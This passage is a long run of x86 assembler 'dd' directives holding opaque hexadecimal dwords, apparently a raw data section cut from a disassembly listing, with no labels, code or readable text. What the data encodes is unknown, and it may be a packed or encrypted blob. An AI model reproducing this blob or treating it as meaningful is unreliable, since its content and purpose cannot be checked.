3F336081h, 342C609Fh, 0B1B2212h, 59C88916h dd 20514001h, 137A266Dh, 0FEFD0159h, 0E5249738h, 0A44C80C6h dd 0E95AC85Ch, 0AE19C91h, 25C0FD31h, 0D1AE5565h, 5A555C61h dd 29B0E3ADh, 0DC925EE9h, 324D334Ah, 0BB1910CFh, 0F384163Eh dd 4F985B78h, 4F696247h, 0BCA74C5Bh, 95937453h, 46AB000Ah dd 0B923EFBDh, 104F3431h, 0C9F4D9F7h, 73191B2Fh, 6698BE71h dd 98A20B02h, 24C2F6F2h, 0C17F7630h, 0FA54AAC9h, 344F83A6h dd 97A3ECC5h, 0ACB20216h, 0C14EED91h, 296037EFh, 215B0BE8h dd 2741CDC8h, 0F5E83009h, 0B58E8C1h, 2D56304Bh, 0C1E554E9h dd 2EA7F2F3h, 0D601C83Dh, 0F7255A73h, 0A0A6145Eh, 83309F7Ch dd 2A5BDAE2h, 763C291Ah, 2BD6D830h, 0F5433381h, 0D066F31h dd 0AA2D8EC4h, 0B59534Fh, 9F717072h, 91682738h, 89697D9Ch dd 15D92852h, 20B5CCCBh, 0A4985D82h, 665D4178h, 3CB938C7h dd 29390F3Ah, 58B889CFh, 54503DCCh, 520B5CA5h, 4D232E01h dd 0F7032A0Eh, 97A9213Ah, 7EC0F667h, 316844FEh, 986F57B2h dd 30590042h, 0AF21B7C3h, 0E2618724h, 32C2AC1h, 0D602B283h dd 0A8DC5A63h, 1BBD542h, 0E0E8215Eh, 67CD7B86h, 8D601BC8h dd 366A161Dh, 7420C29h, 9305ED12h, 0D10999CFh, 9A01CC16h dd 3127021Dh, 0D035B247h, 0E983D5B2h, 0A0335C0h, 0F65BFE88h dd 510406DEh, 46800FB1h, 6CF96B8h, 3EF12006h, 3E59CE30h dd 2398B92Ch, 1DF697EAh, 0ECF9A900h, 295EF301h, 2CE916DDh dd 0E21A5E7Dh, 9D174ABCh dd 9431424Ch, 992DBF52h, 27D14106h, 4C4203D0h, 0F20000E4h dd 0B8877322h, 3B167E2Dh, 7F8475EEh, 0C1700711h, 0A22DD801h dd 64476CC8h, 0AA6EB055h, 0F55B254Ah, 2E157F03h, 0F8AEF235h dd 0BF01F87Fh, 0A574360Eh, 0CC129407h, 0A1E15427h, 0C42D6B44h dd 0C0C493Bh, 0D4EF6149h, 194C7061h, 7CC502A4h, 0C04D0727h dd 5C57E9BAh, 5FC9C3EEh, 5FBB52E5h, 4F29A1DCh, 159ACC6Bh dd 0B2C8434Fh, 195F2768h, 0F74B2666h, 0A849791Dh, 2C9D27BAh dd 46B850D2h, 58C526DDh, 86A4A4F0h, 2EBC92E9h, 4FC85258h dd 1DCAE413h, 75A4E7Eh, 9FFB755h, 8003DB70h, 0EDC0B3E5h dd 0F9F5B108h, 493A4688h, 3189052Dh, 597D43B9h, 805BDC7Ch dd 0F658E3E4h, 0DE7ED377h, 27F76CEFh, 144C4666h, 7479BB68h dd 6FDF698Dh, 4040D32Ch, 45B85803h, 2D5E0279h, 9689A14h dd 8E6204DAh, 281D819Fh, 97D32CC8h, 0E90B9F8Eh, 4171F0C5h dd 3CD20F7h, 9F8836A7h, 4BAC135Dh, 8B04D4EDh, 642CD7F5h dd 3173E118h, 8E2C6F89h, 0C3E95029h, 45B09E0Ch, 619B19BAh dd 6683647Ah, 75556816h, 662060E5h, 0D866D2B9h, 4B489798h dd 0BB53C018h, 0B8486EF3h, 42D33C1Ah, 5A5B5280h, 236BF57h dd 5D3DBE24h, 0BB9FB401h, 0D74031CDh, 0BC2042E9h, 2C074DBBh dd 0F7CBA428h, 0E8BFE90Dh, 2CD5E498h, 0C87FED70h, 59C2DBE9h dd 0B68127F1h, 0B7E6807Eh, 7339CECCh, 88531D86h, 0C5EF5DCFh dd 0B114E9C5h, 8A407C51h, 272A225Ah, 3B543F20h, 8AA6EF30h dd 83AD86EAh, 0F09C47Fh, 100E9F84h, 30462EB1h, 1C0C0A28h dd 4A41D66Eh, 9CFF560h, 0B9E9570Ch, 8F6693A2h, 9B972043h dd 528BE97Bh, 8C828254h, 608F0661h, 39C3006h, 2CAF0935h dd 8E4625E9h, 0C349F088h, 27405150h, 709F2768h, 55E6C2E6h dd 7E640E9Eh, 8A5E66A8h, 59207E1Eh, 0EE831E44h, 82131301h dd 3E825E1Fh, 50F1D95Fh, 0E5859093h, 2752E384h, 53A1EF12h dd 46A5196Dh, 0B916AAFFh, 0F832900Bh, 0B5F86655h, 45C4320Fh dd 2A21F93Eh, 0B0655952h, 0ADB840A6h, 7EB45000h, 0F280B6B2h dd 14243FB8h, 0AB6FF278h, 6408863Eh, 90A4AB4Dh, 0F0F6ED80h dd 0A2794B44h, 0C838D1Eh, 5E016B21h, 0D879A30Fh, 7DB81E1Ah dd 4BD7941h, 520024BCh, 0D1FD3BAh, 2FB8420Eh, 192F940Ch dd 1FB50C6Bh, 88B3D2h, 2D3AAFEDh, 0D57E017Ch, 3408C551h dd 0D486CC3h, 48944F03h, 0C95D080Fh, 5D3570A2h, 3D2D405Bh dd 7C5C3689h, 8E6D6552h, 5D525166h, 0CE018F43h, 0F767592Fh dd 0E146E7D6h, 4403EEC1h, 0C48A0709h, 1231E5FEh, 0EFC904EDh dd 21BF0050h, 1DFD08h, 0A942102Dh, 0E9F82954h, 1913624Bh dd 0F15138E4h, 185706Ch, 0BD64D44Ch, 7356C475h, 0C3C0CEFDh dd 51F81789h, 0C02BE927h, 0EED8F676h, 52DF59BAh, 4CB75610h dd 41C525D5h, 8705D71h, 89EE4085h, 7E9EEA50h, 960C7559h dd 10AC58C4h, 86C501E1h, 0FE7FE927h, 5E9E9548h, 0C85B9B7h dd 6CF1B211h, 331794DFh, 0FACD91E7h, 9613F2D9h, 9BF9534Bh dd 9E9D2B07h, 970AA9ECh, 0A179EF9Ah, 9B125B45h, 0BCB539B8h dd 7FEBA00Bh, 23EF1373h, 100FC401h, 2A49AB08h, 0EDCA634Bh dd 0D4D08612h, 3EB88141h, 0BE41420Dh, 500D5E1h, 0A77D099Bh dd 0E0C1480Fh, 21EAC607h, 15BB64Fh, 37DC565Ah, 2911BE01h dd 8200C6Ch, 0EB128376h, 702D583Ch, 613F8938h, 30B86DAEh dd 0B5F1817Fh, 6E22FC09h, 684B9831h, 347E4EC9h, 0BAC28CFCh dd 70462BB5h, 0AB64A949h, 35025328h, 5CBF6B51h, 1BFACE42h dd 0AFC1013Bh, 1C3742D8h, 6B9EBFC5h, 73076813h, 225CDE3h dd 7E093044h, 122DC62h, 414BE9CFh, 57DF2B8Ch, 7A13B0F2h dd 4AA41F74h, 0E9659759h, 1214C694h, 4BA0CCE9h, 5F59775Ah dd 0B2ACC039h, 0EEDC289Ah, 0F304F80Eh, 4060308Dh, 545380E0h dd 78A52A93h, 9D875BAAh, 0EE66C03h, 0B39B6407h, 7F6A90Ah dd 0F0215B05h, 0BCDF2988h, 0A1BB0156h, 212299E0h, 0B1817096h dd 0CC621F70h, 72DF4CACh, 0D6E70B9h, 0D901D4FAh, 0DD126190h dd 9585F6A0h, 929E1359h, 5AE0583Bh, 0E7306B2Ch, 3B0FBC77h dd 0C60609Fh, 277959C7h, 5BDE0113h, 0CA6602D2h, 2DF14050h dd 0FA7482B5h, 0FB13BA4Fh, 0C87D89D6h, 2A5D2E5Ah, 869A5A77h dd 61018F27h, 0C9E8315Dh, 68088FC5h, 95F392C2h, 0C9210124h dd 0C6621ED9h, 0F4F809D3h, 5B4C35F0h, 0B299F4FAh, 65963339h dd 253BF681h, 812251CFh, 67418505h, 28C2F542h, 9E875B25h dd 0B3B758D9h, 0D95A17F0h, 9C67A316h, 0C148E1A5h, 6882F478h dd 0F7FE396Ch, 6DD804C9h, 0C36DA413h, 3B45640Bh, 97B47017h dd 0EA815F6Eh, 8A9B60FBh, 0A328B191h, 0FD543324h, 64F65672h dd 0C36AD44Fh, 8DC25609h, 0B764C3A7h, 0B4238232h, 0EB89B274h dd 64C60B07h, 25FA2FF8h, 3F8541A0h, 17B41F6h, 80DBFA2h dd 38F9656Bh, 0CE20F443h, 0B508D5E9h, 0A9205696h, 0C7801646h dd 17C9058Ah, 787DB2FEh, 69BB736Fh, 0BA37EC6h, 0BC84F328h dd 9DB70753h, 0A99ECFE7h, 4971EAC8h, 62345142h, 5C10194Ch dd 45EAAA72h, 50CA1E07h, 5E5514FAh, 84AB73E4h, 0F7FD87B8h dd 576FD77Dh, 0E109CC1Ah, 21203F6h, 0F1012162h, 5EE0CDEEh dd 93A0969Dh, 2130172Dh, 2B363BBh, 79A95AF6h, 333C895Ah dd 75EA03B4h, 46BE43Dh, 6F58410Ch, 40C4ED67h, 5C37E908h dd 844F7631h, 7CF802C3h, 5250D2DFh, 39EDF074h, 31405F2Fh dd 0CA4CED2Dh, 3B3EB1E8h, 21076502h, 670E89BBh, 51B25EF7h dd 0C3010060h, 72D08358h, 0BDE51336h, 0E7336BC8h, 432AC33h dd 650BB223h, 60183F90h, 0B2D28737h, 93BEC791h, 0AA956AEh dd 9A80BA9Ah, 3D772706h, 0B1F0292Dh, 126E858Dh, 0D5D3EC9Bh dd 155034D1h, 5DC0EB13h, 4869ABBEh, 0DB120B3Ch, 0E6D6F873h dd 526601CBh, 88F0B050h, 0B3D030C2h, 0DA308F13h, 6379D04h dd 592648F2h, 0C280012Fh, 60D92C38h, 0B7265353h, 0C19A1B3h dd 5145BEFh, 5410845Dh, 4E8B22h, 87B6BD72h, 3947F7Ch, 34F50507h dd 21820AE5h, 8BD5D617h, 0CA1844E8h, 0B4F601B5h, 0E4C08800h dd 0F2CC8005h, 0EBC472FEh, 3D02ECE8h, 0CFCF8CE9h, 0F7914AFBh dd 292F1237h, 9B636F3h, 24A8E951h, 0B885310h, 97099FEBh dd 27094602h, 81E1D101h, 7A4D49C8h, 0F5F7E882h, 13F57D30h dd 5E7F1048h, 81DBC04Eh, 0E03541F3h, 102B69h, 0AC02A158h dd 0CB312821h, 85504ADBh, 31DEA152h, 21AA13B8h, 10EDADF4h dd 4654B823h, 0BF570253h, 7B070BBCh, 0E9043774h, 2AE33A46h dd 3B84632Dh, 0C1B7FCBFh, 11A3363Ah, 641F0C80h, 0FD011351h dd 883A690h, 38140C41h, 1387A315h, 0D932C795h, 93336F0h dd 0D3D32CE9h, 6BAB09CDh, 0AD625154h, 7A425C37h, 30B0A090h dd 10D84F82h, 28E90A33h, 0BF421E2Dh, 0AF5D0453h, 6C50FD5Fh dd 2FF9A592h, 7F4C8CCBh, 0D535EB90h, 7B20E842h, 4DF0371Dh dd 556ACB81h, 0F63026C5h, 42318147h, 0B174338Dh, 55B0C9C2h dd 0BA740698h, 1097208Eh, 11E642A0h, 33F10082h, 89020619h dd 0F1BA7421h, 0D27D150Bh, 4FCA704Fh, 8222D42Dh, 0C509EB3Fh dd 5A6509E6h, 0BBE05ADEh, 24304C58h, 0B714B5Eh, 0C9E666A5h dd 449F7B9h, 0BE0D4B75h, 0F57F60C5h, 0B8505E00h, 23911EDEh dd 0E0E84EC1h, 11930888h, 0FA69222Fh, 0C6C4692Fh, 0CAD23B3Ch dd 10DC42F9h, 68C256C5h, 25463FE4h, 0F26A9C81h, 0BAEB8803h dd 5E864991h dd 0AA0B07Ch, 0FEBBC831h, 2454E90Bh, 12BA641Eh, 9F2C0B27h dd 46257350h, 5D770F7h, 0A44193EAh, 0DE1BA931h, 71E3F300h dd 0FCF821A1h, 5777A23Ch, 1C26FB2h, 31041064h, 0FE295BDFh dd 175E61FAh, 356800EAh, 65891331h, 49E6F059h, 9A3EE5FFh dd 5738FB4Dh, 974AE51Ch, 4C2AC0E6h, 0E48E9488h, 0DB682014h dd 303FC527h, 3CB72236h, 6C438E56h, 0CE394005h, 3F0BB929h dd 0B119AF27h, 0BFB32420h, 0CB07DD13h, 0D0C73700h, 270CA012h dd 6B013AE9h, 0E1C39D61h, 0D241A638h, 143DE08h, 0D064EA80h dd 0B191D7E2h, 7103D5C0h, 0BDD51038h, 120243A8h, 0E5C1450Eh dd 1885C02h, 0B6F158EDh, 10802FC7h, 9BB7E3E9h, 2C7B9D44h dd 3DD3680Fh, 0FF354D19h, 2D4B3587h, 2B4CB5E9h, 0FFD8F133h dd 0FAF63380h, 524B6707h, 0CB611BF8h, 0D3C3807Ah, 0CDE1A5E3h dd 0E82279B2h, 9F5030CAh, 12BEA2F0h, 30838C2h, 0A196C968h dd 13494C20h, 0BDD830ACh, 0AD45D2E7h, 0A48C1703h, 0B5511253h dd 0A48E17A9h, 6BCBCB60h, 0B7054C29h, 2515CC91h, 8E9B2D54h dd 64CB3375h, 0C457E909h, 4D7D5C22h, 3059AA7Eh, 0F04EC362h dd 3F1F35ABh, 0FB4A109Ah, 78A58448h, 0A5389E4Fh, 0EC0306Ah dd 60C9DCE6h, 0BE4C595Ah, 0B66CC213h, 1058084Bh, 0AE0A8904h dd 0C5F68F6Eh, 8F54605Ch, 0EBA50402h, 0A493A2B2h, 0B9D3557Ch dd 784037F8h, 51E69722h, 388D545Bh, 1A66356Ah, 0A8566F6Ah dd 0BF44E971h, 41C83DE5h, 0BE724CD8h, 2D1654B6h, 0D1069C5Fh dd 5B0D29EFh, 0DB868101h, 0BF350009h, 81D13E24h, 16DCC1A4h dd 8181879Dh, 0F0F22DF8h, 5F2F3914h, 97AC6C05h, 13EF2968h dd 17C4340Bh, 0CE248457h, 0F34B47A7h, 5B4F7643h, 2A3548F2h dd 110080CBh, 5D4C284Ch, 1402305Fh, 2552E032h, 8AC43120h dd 0D9545139h, 783BC957h, 0C5BBA021h, 3D3C182Ch, 3FD70C6Ah dd 14ED309h, 8F708CDh, 0DF0B6026h, 5A00990Dh, 0E9617C2Fh dd 0B369A162h, 871DCD5h, 0C91861EBh, 0B0882206h, 0D36CE1BBh dd 8BF6007Dh, 3468B050h, 0E001C0CFh, 53C8FE04h, 0D7FDE8B7h dd 507E7E8h, 0E995EF80h, 5DD5B0B4h, 689101B5h, 0F2236C3Fh dd 5F890358h, 0A234277Bh, 0C7065F64h, 8051469Bh, 0BE236873h dd 58546227h, 775AB8DCh, 6DC22B94h, 0F4E83CE9h, 9DE9EA8h dd 0E522BF5Dh, 4ADE3492h, 1203D16Bh, 0E585D5h, 0E912464Bh dd 0A0C94F56h, 0EE1BA0D1h, 94D655Ch, 8E6C102h, 0A44F4404h dd 0B992BBA7h, 2C8D30E1h, 9832AF49h, 0AB450FEh, 3BB6525Dh dd 309200BCh, 0CDE95AF4h, 0F6399FB4h, 5238342Dh, 0F9B424A1h dd 1F59274h, 2C15CC16h, 3ED66103h, 995836CEh, 1997C122h dd 91585E82h, 0C8BF050Fh, 0F372E868h, 0ABDC12E9h, 0DA4826A7h dd 1E89845Bh, 40365322h, 495BB86Fh, 31243A13h, 158F1C3h dd 0D6B397DDh, 8C71A84Fh, 0CC32B0A2h, 0D08C0893h, 2C367438h dd 9789285Eh, 0E8881096h, 70BC6F68h, 0C94B7125h, 62106DBh dd 782E722Eh, 313EB3CDh, 0CADD6897h, 0A8CC459h, 604FB10Eh dd 0FDCF5761h, 0CC0E71Bh, 133EDC7h, 9417B028h, 303B25ECh dd 2E8AAC5Eh, 41DD410h, 5202C283h, 1488D8E8h, 0BF76670h dd 32DA68F1h, 6F7C681Ah, 11B95100h, 1360BD23h, 408E9C1h dd 0C0410461h, 0BD22D62h, 0BF07064Ah, 64DFE883h, 61AB0D51h dd 3F5E5B11h, 407D38CAh, 9802B945h, 513E442Eh, 63C4556h dd 0FED721E9h, 0B252E1BEh, 5E0FC2C6h, 0F98A0B37h, 45B99D4Bh dd 44752F13h, 0E9A8ACCDh, 54909DEh, 0FB860702h, 14980D45h dd 0BBA15F4Ah, 51F8CE3Fh, 0BB184C21h, 50DF2912h, 251E68Ch dd 1A5C6855h, 75E119E3h, 0C193813Dh, 2DC76240h, 0BF5AAFECh dd 0BF71759Ah, 13550DB6h, 0FC22A4E9h, 8DF2F744h, 34945D60h dd 0B91F1020h, 57018EB0h, 922A3D2h, 0A2F0F6E9h, 533DD478h dd 5256090Dh, 0DC665882h, 5AC25A06h, 0F4973702h, 0F799A0EEh dd 1CA0DE4Ah, 5E8FED56h, 0E813D15Eh, 0B88510C2h, 5EAC10Fh dd 814AC09Ch, 5C5DFAF2h, 0ACC82C50h, 4132133Bh, 1825AF00h dd 0EEBD59E9h, 0A9205A4Dh, 7C135F4Ah, 77C88300h, 5101789Dh dd 0FD2CB6EEh, 267A8353h, 5256BA1Ch, 0DE25906Bh, 98B089A6h dd 0B1D301EBh, 895B2D31h, 186294E9h, 6EF614E9h, 0D5EEF130h dd 5904EBB6h, 93B94C68h, 0A3764D84h, 500D0028h, 0BD5548BEh dd 6E5C18E5h, 1B47E205h, 7B315D3Bh, 69087401h, 3357E90Ch dd 265FE836h, 1B010965h, 0E93E5B64h, 8050FCECh, 3B20CEE1h dd 167C2BC3h, 5B4DA55h, 201CF2D5h, 0BE0F6626h, 2327C87Dh dd 0BF92EFh, 1653F1D3h, 0F7810263h, 49084C18h, 74DFD980h dd 0D6F71BDEh, 726A9280h, 0E918792Fh, 0C581B352h, 171F098Fh dd 0E550C17Ch, 30ABAD72h, 0B0D0F8C2h, 76DAEA9Dh, 57F588BEh dd 3A8C7630h, 37DAC930h, 0E7B152F0h, 2B13AB4Fh, 50B2078Eh dd 4E44E98Eh, 16184295h, 0AAE2A875h, 51B85007h, 0C23B7506h dd 8E2808ECh, 8D4C6B1Fh, 9F04AA7Ah, 0BE20E214h, 2D5C275Eh dd 7AF678F2h, 0C6B3489Fh, 0AA06CBC0h, 0FFF0AD84h, 8FE33753h dd 54B0288h, 0BFC207C9h, 0F021E1E7h, 0ACAD5303h, 5BDE821Fh dd 20F35033h, 0FE5C63E0h, 7D2678E7h, 6806DA28h, 30AD21EBh dd 0FEF7F5C7h, 1BB1315Fh, 7F564232h, 569C8B34h, 0F7170C24h dd 0B75007A7h, 4A8CB6F9h, 2F470066h, 0E5D16D29h, 4EC0C172h dd 356720F5h, 182B50Bh, 46E6E41Eh, 64ABE3Ah, 0F331437Fh dd 60849089h, 30ED71D3h, 664C713Bh, 93F58004h, 2DE79A15h dd 0CE45E989h, 5C027FA8h, 0E9276A7Bh, 0F87811h, 0EB09EF05h dd 0AD6F352Bh, 3125F20Bh, 0B05196C5h, 374009EBh, 36A40B92h dd 0BBB2D488h, 0BA52EF00h, 5AB53B69h, 0F552901Dh, 0F353B0E9h dd 0AC444A88h, 540E321Eh, 8EC3DFC9h, 2BA731D9h, 0D28FE73Ch dd 4B7AF30Eh, 0E7686589h, 685350C0h, 40004408h, 0F3815B7Fh dd 1E601DD2h, 40D8893Fh, 0E908E8C1h, 0EABB200Ch, 59675509h dd 52521E20h, 1D115EBFh, 5F56CC53h, 0D50BBE20h, 51E670Ch dd 6F54DC3Fh, 10CB4E60h, 64BE5601h, 96675B7Ch, 0E5EC1248h dd 0DAA131C9h, 2DE83058h, 4E4F7C8Eh, 0CB6BA12h, 0F6B97E16h dd 0D1011F17h, 0F79F1A19h, 2B490E8Bh, 0EF8BA10h, 8907EE09h dd 25768BCAh, 0E5F050AEh, 0F343E58h, 0CB62B52Fh, 0F4C94B51h dd 9F02CB99h, 40323ECCh, 95A65124h, 1676093Ah, 0E57BE962h dd 9FC0A28Dh, 3A503691h, 0E0F40937h, 86DBBh, 6006641Fh dd 88B83419h, 926C290Bh, 3542B405h, 686EC16Ch, 7456FA26h dd 7309BE40h, 3A149037h, 0C6180EEEh, 0D5470C1Eh, 7AD03B25h dd 2619A0FDh, 0B0A29FE4h, 0AA0F44BCh, 4A44E5D5h, 0C7FE8990h dd 0DBEF3880h, 0E25BF813h, 0B451547Ah, 3869064Ch, 0E1E32EB5h dd 35B14027h, 1A0F00B3h, 0B72D4866h, 0F24BA349h, 0B659F0F0h dd 82531722h, 657E5419h, 5685650h, 28346369h, 0AA4BAF5Eh dd 5CC929AEh, 0B920BE45h, 17DAE59Fh, 598F8C5Ch, 6152A8BEh dd 5623Ah, 0E47F6C69h, 5E19F101h, 0EFA4CD89h, 45C73C30h dd 0C2422802h, 0A70A78E9h, 6572D09Bh, 0C398A70Fh, 0DBF6CB21h dd 3880E3F0h, 0B04AD1F3h, 2459BAB0h, 24893E66h, 0B70EB35Eh dd 1ECC0B5h, 24685BDAh, 0C4267765h, 56B15604h, 27B7447Fh dd 0DDF70435h, 0F608BCC6h, 5ACEBAABh, 68EDD05Dh, 0A9BE6D6Ch dd 2A4E462h, 0A8752D58h, 45AF9381h, 5F322F3h, 6855E0D3h dd 0A744BF39h, 2905FBDAh dd 3C19C0D7h, 1B60F67Ch, 92E95A49h, 0E9B89EA5h, 5297FF73h dd 545AD572h, 20609D59h, 0FDDA303Bh, 17C01053h, 3799215Ch dd 0B2046D6Dh, 0F8B62EB4h, 75572631h, 0C926F909h, 0B474ABADh dd 4CAD02B8h, 0D8F73FCBh, 3EB2FF61h, 428E0051h, 22CD4A53h dd 8B4111FAh, 80FA292Bh, 1F3CBC33h, 26C2F046h, 14EF5F58h dd 5B03AD33h, 0AA24E941h, 183304Bh, 223F4C22h, 145C2984h dd 0D386106Ah, 889BA879h, 57503EC7h, 0B9071D92h, 3487C41Eh dd 0E90DB8F6h, 18F5585Bh, 0B73853E6h, 4907D966h, 0C6DF4B91h dd 61C40E5Ah, 2C247590h, 0A8880106h, 0F8310EB7h, 6A45C4EDh dd 454B9ECFh, 0AF26A5A5h, 0F95A7132h, 53689E2Dh, 0AAD5CC6Dh dd 16C86500h, 0AE9EA29h, 9E23B12Bh, 36FB4C56h, 0C487A3Bh dd 0A1B1C09Bh, 5AACE950h, 7B3FA729h, 445FD12Dh, 529E191h dd 0B7AC455Ah, 0B507E80Ah, 0E3A537BCh, 5EF2128Bh, 965A56C8h dd 452A8923h, 0E59E8556h, 51660F09h, 69BFBC28h, 0C0B71264h dd 0F601EFA6h, 6866D705h, 20BF3732h, 0C708C06Fh, 151E34BFh dd 0CBA89EE9h, 0DE281A51h, 53975812h, 50D6CEC3h, 8980EDE7h dd 0BAA5EED9h, 0E91DBC15h, 9462720Ah, 909A8ADh, 67050F1Ch dd 3FAED90h, 6C253EEAh, 427AD962h, 0F694922Ch, 3815EE00h dd 1710BF33h, 312FE206h, 84A68BD7h, 91544E51h, 81D0A3A5h dd 4090C78Dh, 6EEC3860h, 14479562h, 93AFB08h, 0FA59515Dh dd 0D5805944h, 0B540643h, 58C18941h, 0E392D5F1h, 0C4802240h dd 60E4C070h, 8520C03h, 0CDF958E1h, 0B6A120C8h, 0F1284616h dd 4F2CFFE8h, 965F9DA6h, 7AC0E19Bh, 1E5D218Fh, 17509Ch dd 0F15AED81h, 155CFDAh, 0E3C15D5Bh, 85DBF705h, 75E66804h dd 0ED105E8Dh, 39EBC15Bh, 3EF28105h, 311FA78Dh, 95516DDh dd 0C444D6C5h, 1D45E3A0h, 875E7406h, 17064BDEh, 0FE3DF681h dd 2894D0Bh, 0CBF7E97Eh, 0A1CFA9AAh, 6C640AA7h, 81AB0F26h dd 0D1F9C047h, 0FAC68912h, 9F208052h, 0D115A21Dh, 82B98087h dd 51660771h, 5C3B5F69h, 0D9FC5AF6h, 0DDA600C9h, 181FE57Eh dd 0DDCE981h, 590ECF29h, 6E08EFC1h, 140172E7h, 0DB73D906h dd 17CAC6D8h, 0B8247155h, 34D01024h, 77B25202h, 0C841C280h dd 0E9146E50h, 4054B2EFh, 911BAE9h, 424C9333h, 0FB0082FEh dd 0E940EF74h, 0D1264BA0h, 24D219FBh, 99AA5703h, 0B7F4C63h dd 1EE64931h, 63356B68h, 0D64ABDE8h, 0A2AEBD0Ah, 0C9165F66h dd 98CE144Ah, 42DE3110h, 7B0D6922h, 67CE28DCh, 74C32BB8h dd 3C24EE13h, 0D010213h, 8DB1DBCh, 52402A25h, 60F62B68h dd 0EBB20C65h, 629D9DD6h, 0D94CC2AAh, 11B71035h, 0A78474E9h dd 0C52FF8A0h, 40AFA3C8h, 150A2D20h, 50003A8h, 65662318h dd 6685651h, 0FF97CF5h, 454FB85Eh, 0E90945DBh, 655638A1h dd 4F6BBE81h, 74203793h, 530DC06Fh, 8B05C668h, 0F6D1744Ah dd 0BB006073h, 0AC144FCEh, 7D834369h, 0D7031826h, 0D6B60F8Ch dd 0F8154194h, 0BCC0B11h, 4866DB3Ah, 43859031h, 25A6B632h dd 4BA561EDh, 0D20768FCh, 0BB680BA9h, 2913ADCh, 0F2C0EA50h dd 0C2074AA7h, 881C328h, 7BC23EE9h, 9684A627h, 0F709F691h dd 8257D8FDh, 0C058C7F2h, 0C3428494h, 5550F757h, 0FA017CE0h dd 0C060C2FAh, 5BA82C3Ah, 3B0FE51h, 0F64704F3h, 53FBFED0h dd 7653CC6Bh, 59680E7Dh, 90898C37h, 74EED917h, 0F292FC97h dd 2032750Bh, 576A3CC1h, 0ECCFB4F9h, 6CA2271Bh, 2C4227Bh dd 6816B490h, 0D9F35EB2h, 0C8FEA20Bh, 0BB448685h, 0B4329639h dd 7310310h, 275B48BDh, 3E69D689h, 2B11EC9Bh, 0C257D7F2h dd 0A90BC186h, 56C0256Ah, 0B454E8D2h, 7A36C500h, 4E0148EEh dd 766A61D9h, 0DABE00A6h, 0ABD2768h, 6CA73B73h, 7C22593h dd 0BA9F5E66h, 1320D8BAh, 5FE1B9E9h, 0A99F59CBh, 857B58h dd 0A5CEB30Fh, 36F6D628h, 0C9D6809h, 0E90A6371h, 40A58B82h dd 4CBD30BEh, 0B3029B72h, 0F701AE41h, 0A602E950h, 0E93F9C6Ah dd 681E487Eh, 0A5E00B6h, 0E1815914h, 0D8306E16h, 3890C23h dd 43F7CF8h, 7071F5F1h, 2E5BFC1Dh, 0EA25164Eh, 91F354B3h dd 6E95764Bh, 2147BF4Ah, 0C7025693h, 0DECBCAE9h, 41748018h dd 42BB083Dh, 50FC213Ch, 287E44CEh, 7A12048h, 10012FBEh dd 92748629h, 278F98CBh, 7790AFADh, 0EEE4F530h, 965308C9h dd 0EA832DAEh, 0A5947764h, 99F3E344h, 4DC5EF00h, 0FD892850h dd 0EE015F12h, 0A74CAACAh, 9E1FE982h, 81D88BA4h, 3E37699Ah dd 9CBE2D33h, 6B0936A3h, 56025B09h, 0B507A6B0h, 56EB2872h dd 65253AEBh, 0E9589CF9h, 0EDB4CEh, 516A68B9h, 0E14BD154h dd 1DA57188h, 53658E2Eh, 4B87F8FFh, 8A300C8Dh, 5A0979B2h dd 3F5ECD1Eh, 92C01F84h, 34F652C2h, 0FD7EE1D3h, 0D50C747Bh dd 0F7EA78E9h, 0C15E3BF2h, 0FA26CAC8h, 0BC4D9B44h, 565244F4h dd 3DC42080h, 0E96038F5h, 0F6CE5325h, 6AE5E9A1h, 1878F5C9h dd 1FA0D589h, 85121BB8h, 0BCF13E5Ah, 3DD15A47h, 0F69862A2h dd 0BFE96805h, 0F6CA4B4Eh, 8E93364Ah, 0D517A00Bh, 23A841Eh dd 29191500h, 3B7BE96Dh, 0EBFEF29Ah, 0AC7F84C6h, 0AF584D12h dd 0B62CB40Bh, 8747638Ah, 85386203h, 5B0AFD30h, 5AD758C0h dd 332B5C39h, 31762020h, 8CC56597h, 0F33B15D4h, 0E36CA616h dd 2DEBD100h, 26712674h, 801A37E9h, 0B80860BFh, 0EFBC4F23h dd 1C00E71Dh, 38E969E1h, 0FD8880B1h, 0B924FB98h, 0F9A0B6ECh dd 3E15640Fh, 23979E0Ah, 815856B7h, 344A3F2Dh, 26906AF8h dd 0DE5E0BCBh, 3A74809h, 2E472166h, 0A7C708D9h, 1BAEB064h dd 3DBB805Ch, 9AB2114h, 0E51450A7h, 8B72B84Dh, 205ACC52h dd 6818C9F4h, 5415711Bh, 0DFEBAC13h, 2D3D1C6Dh, 0A1E04BBBh dd 0E64BB652h, 56C98DF2h, 0B32AB4D6h, 2A2C9E95h, 0E8EEC1E9h dd 0BF609FEEh, 0F20E490h, 5F38B03Ch, 325324E3h, 305E6D61h dd 4F86525h, 0A87AE168h, 7BD9C034h, 35814CCEh, 0B10DDDF2h dd 40ED6C59h, 0EF4AF075h, 1EC4CEA4h, 0C933BA47h, 656B6B7h dd 4A6B6E81h, 0C7DB015Dh, 580208EAh, 0D569DA68h, 9060F132h dd 0BB767433h, 0DF4F7E04h, 60944CE9h, 87A07FA8h, 0D169F7CAh dd 0A46A5B08h, 0FEE959F8h, 0B6281DDCh, 0E381613h, 19EFED00h dd 4A396C28h, 5CFA134Fh, 5DF4C656h, 0C205C8C5h, 35B11AB4h dd 0EA2899BCh, 3C8B2F08h, 1F2E674Dh, 0AC4E3693h, 13A6DFC1h dd 0AD741C03h, 0FDC9B033h, 2B2C2747h, 8AE964E0h, 783F2169h dd 8CB93FE3h, 34F0092Dh, 40C76263h, 243E0591h, 427A73h dd 0F63360C2h, 0D65AF730h, 844CCF80h, 0F0215A01h, 0FA01E62Fh dd 0E91FB164h, 9580B42Ch, 1C2D02E8h, 80957262h, 0E09E25B4h dd 76049745h, 0A409AE31h, 0A11396E8h, 27666688h, 326AA500h dd 0ADFBE94Eh, 0C014D383h, 0E6890FF0h, 672C75Eh, 87013483h dd 0C346EBEFh, 288641Fh, 2B9ABC09h, 9C17666h, 7C4C0196h dd 850DE232h, 2C29778Ah, 98506DFCh, 9BEA8841h, 7AD94413h dd 26DA4A08h, 49F8245Dh, 0E989EA5Bh, 0A1702FCCh, 2B8B126Bh dd 14CDC42Bh, 0D15A5A07h, 30E829D6h, 929FEDF5h, 0CF27C063h dd 95987535h, 0DE65BFA9h, 4FFC5812h, 0B2C7305h, 3977C050h dd 0C48AA5Bh, 58CA3E9Ah, 410C60D3h, 6D7B82Bh, 0AA214EBAh dd 0F502D85Ch, 1238020h, 44042CAh, 0A7B85908h, 1332EA40h dd 11E54Ch, 1F38ABCEh, 0F620E929h, 0E0F5A0B7h, 72660196h dd 